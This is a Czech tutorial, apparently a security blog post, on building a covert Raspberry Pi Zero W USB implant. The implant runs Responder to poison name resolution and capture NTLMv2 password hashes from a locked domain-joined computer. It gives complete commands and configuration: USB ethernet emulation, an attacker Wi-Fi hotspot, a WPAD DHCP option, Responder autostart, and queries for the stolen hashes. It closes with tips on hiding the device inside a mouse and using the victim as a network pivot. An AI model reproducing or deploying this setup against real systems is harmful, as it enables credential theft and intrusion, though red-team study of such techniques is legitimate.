Odchycení hashů hesel ze zamčeného počítače pomocí Raspberry Pi
V tomto článku si vyrobíme zákeřné zařízení – budeme odchytávat hashe hesel doménových účtů pomocí nástroje Responder, který bude spuštěný na Raspberry Pi Zero W. Hashe tak budeme moci chytat kdekoliv a kdykoliv, s přenosným zařízením a nepozorovaně.
Pro začátek krátce k nástroji Responder – jedná se o široce používaný nástroj v oblasti penetračních testů a také pro členy Red Teamu. Responder obsahuje mnoho užitečných funkcí, jako je LLMNR, NT-NS a MDNS poisoner. Používá se pro podvržení „otrávených“ odpovědí a následné zachycení hashů. Nástroj obsahuje různé vestavěné servery, například HTTP, SMB, LDAP, DCE-RPC a další. Zjednodušeně řečeno, protože cílový počítač oběti je členem domény, bude do sítě vysílat legitimní požadavky na discovery sítě, serverů, AD atd. Responder podvržením odpovědí na tyto požadavky zařídí, aby mu oběť zaslala hash svého hesla.
Příprava
Nejprve samozřejmě potřebujete Raspberry Pi Zero W (tedy včetně Wi-Fi). Budete také potřebovat kartu MicroSD a zařízení na její čtení/zápis.
Dále si stáhněte (nejnovější) image RaspiOS lite a zkopírujte ho na MicroSD kartu, například pomocí příkazu v Linuxu:
sudo dd bs=1m if=2022-04-07-raspios_lite_armhf.img of=/dev/rdisk2
Použít můžete samozřejmě i Raspberry Pi Imager, který je zdarma dostupný na stránce. Raspberry Pi foundation.
Emulace USB
Raspberry Pi Zero W může emulovat USB zařízení - v tomto případě jej nastavíme jako USB ethernetový adaptér. Budeme muset upravit boot parametry, resp. přidat dtoverlay=dwc2 na poslední řádek v souboru config.txt. A dále v souboru cmdline.txt za rootwait (poslední slovo na prvním řádku) napsat mezeru a přidat modules-load=dwc2,g_ether (vše další odstranit).
Dále vytvořte prázdný soubor v adresáři /boot s názvem SSH.
touch /Volumes/boot/ssh
, to vám umožní připojovat se k Raspberry pomocí SSH.
Spusťte tedy Raspberry, přihlaste se na SSH, povolte přihlášení roota, změňte heslo a pak smažte výchozího uživatele „pi“:
ssh pi@raspberrypi.local
sudo -s
passed
#změňte /etc/ssh/sshd_config PermitRootLogin z „no“ na „yes“
/etc/init.d/ssh restart
exit
ssh root@raspberrypi.local
userdel -r pi
echo "WiPiResponder" > /etc/hostname
Nyní máte základní nastavení, které umožní vašemu Raspberry komunikovat přes USB ethernet a SSH (stojí za to si vytvořit zálohu, abyste se mohli kdykoliv v případě nezdaru vrátit zpět).
Připojení k internetu a balíčky
Další věc, kterou musíte udělat, je nainstalovat do Raspberry různé balíčky. K tomu je potřeba připojení k internetu. Moderní operační systémy naštěstí umí reverzní tethering – je tedy možné sdílet připojení k internetu do Raspberry přímo z počítače (nastaví se sdílení pro ethernet adaptér NDIS), ve Windows například takto:
Raspberry tak dostane IP adresu z DHCP a je možné se na něj připojit pomocí SSH. Můžeme jej zaktualizovat, zkontrolovat, zda má připojení k internetu, a poté spustit apt-get:
ping -c1 8.8.8.8
apt-get update
apt-get -y upgrade
Instalace Responderu
Abychom mohli spustit Responder, potřebujeme nejprve několik prerekvizitních balíčků. Poté můžeme naklonovat přes git nejnovější verzi responderu.
apt-get install -y python git python-pip python-dev screen sqlite3 inotify-tools
pip install pycrypto
git clone https://github.com/spiderlabs/responder
Poznámka: Responder pak potřebujeme spouštět automaticky po startu OS (bude vysvětleno později).
Síťová konfigurace
Dále zprovozníme vzdálené připojení, abychom mohli kontrolovat zachycené hashe. Toho se docílí konfigurací bezdrátové karty do režimu AP pomocí hostapd a dnsmasq.
apt-get install dnsmasq hostapd
Nyní upravte soubor /etc/dhcpcd.conf a na konec souboru přidejte následující řádek:
denyinterfaces wlan0
Musíme také nakonfigurovat statickou IP adresu pro Wi-Fi rozhraní. Otevřete tedy konfigurační soubor rozhraní /etc/network/interfaces a upravte část wlan0 tak, aby vypadala takto:
allow-hotplug wlan0
iface wlan0 inet static
address 10.10.10.1
netmask 255.255.255.0
network 10.10.10.0
broadcast 10.10.10.255
# wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
A pak restartujte službu dhcpcd:
service dhcpcd restart
Dále je zapotřebí nakonfigurovat hostapd (parametry hotspotu) vytvořením souboru /etc/hostapd/hostapd.conf s následujícím obsahem:
interface=wlan0
driver=nl80211
ssid=WiPiResponder
hw_mode=g
channel=6
ieee80211n=1
wmm_enabled=1
ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_passphrase=WiPiResponder
rsn_pairwise=CCMP
Je nutné také říci hostapd, kde má hledat konfigurační soubor, když se spouští při startu systému. Otevřete výchozí konfigurační soubor /etc/default/hostapd a najděte řádek
#DAEMON_CONF=""
a nahraďte jej řádkem
DAEMON_CONF="/etc/hostapd/hostapd.conf"
Nyní nakonfigurujte DHCP pro Wi-Fi klienty (útočníka) úpravou souboru /etc/dnsmasq.conf tak, aby obsahoval následující údaje:
interface=wlan0
listen-address=10.10.10.1
bind-interfaces
server=8.8.8.8
domain-needed
dhcp-range=interface:wlan0,10.10.10.100,10.10.10.200,12h
dhcp-option=wlan0,3,10.10.10.1
log-queries
log-dhcp
A nakonec před restartováním služeb povolte IP forwarding:
echo 1 > /proc/sys/net/ipv4/ip_forward
service hostapd restart
service dnsmasq restart
V tuto chvíli (po restartu) máte na Raspberry funkční hotspot.
Nastavení DHCP na USB
Teď musíte nakonfigurovat Raspberry tak, aby poskytovalo DHCP pro svůj USB port. Již máte nainstalovaný dnsmasq, takže ho jednoduše použijete znovu, akorát s konfigurací pro USB.
Nejprve aktualizujte soubor /etc/network/interfaces tak, aby pro usb0 obsahoval následující údaje:
allow-hotplug usb0
iface usb0 inet static
address 10.10.20.1
netmask 255.255.255.0
network 10.10.20.0
broadcast 10.10.20.255
Dále je třeba aktualizovat konfiguraci /etc/dnsmasq tak, aby obsahovala následující položky (viz další řádky obsahující usb0):
interface=wlan0
interface=usb0
listen-address=10.10.10.1
listen-address=10.10.20.1
bind-interfaces
server=8.8.8.8
domain-needed
dhcp-authoritative
dhcp-range=interface:wlan0,10.10.10.100,10.10.10.200,12h
dhcp-range=interface:usb0,10.10.20.100,10.10.20.200,12h
dhcp-option=wlan0,3,10.10.10.1
dhcp-option=usb0,3,10.10.20.1
dhcp-option=usb0,252,http://10.10.20.1/wpad.dat
log-queries
log-dhcp
port=0
Síťový diagram
Abychom věděli, jak to všechno funguje a zrekapitulovali si, co teď máte nastaveno, je dobré si aktuální stav naznačit:
Konečně hashe
Nyní máte vše nainstalováno a nastaveno, zbývá tedy nakonfigurovat Responder. Je potřeba vytvořit službu, která se spustí při startu systému a spustí ho. Do souboru /etc/rc.local přidejte před řádek exit 0 následující řádek:
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'
Nyní bude Responder spuštěn v relaci na obrazovce. Pro interakci s ním napište:
screen -r responder
Chcete-li ukončit(odpojit) relaci/obrazovku a nechat Responder běžet, jednoduše stiskněte CTRL-A a pak CTRL-D.
Konečně můžete začít. Jednoduše připojte Raspberry k počítači oběti
Pak se připojte zpět přes bezdrátové připojení, přihlaste se přes SSH a zkontrolujte databázi responderu:
sqlite3 /root/responder/Responder.db 'select * from responder'
Případně rovnou na obrazovce (screen) by mělo být vidět například následující:
S největší pravděpodobností odchytíte tzv. NTLMv2 hashe, které se crackují s použitím módu 5600 pro Hashcat. Jak heslo cracknout si můžete přečíst například zde na HackingLabu, kde o Hashcatu vyšel pěkný článek pro začátečníky.
Závěr
Pokud byste chtěli z tohoto útoku udělat profesionální scénář v rámci Red Teamu, můžete udělat několik věcí, abyste řešení optimalizovali. První věcí by bylo skrýt Raspberry třeba přímo do USB myši nebo klávesnice spolu s USB hubem. To by pak bylo téměř nerozeznatelné kromě nové síťové karty v systému. Také by stálo za to zakázat vysílání SSID přidáním následujícího řádku do souboru /etc/hostapd/hostapd.conf:
ignore_broadcast_ssid=1
Za zmínku také stojí, že se zapnutou Wi-Fi a připojením do počítače oběti byste mohli použít Wi-Fi hotspot a napadený počítač jako pivot do interní sítě zvenčí.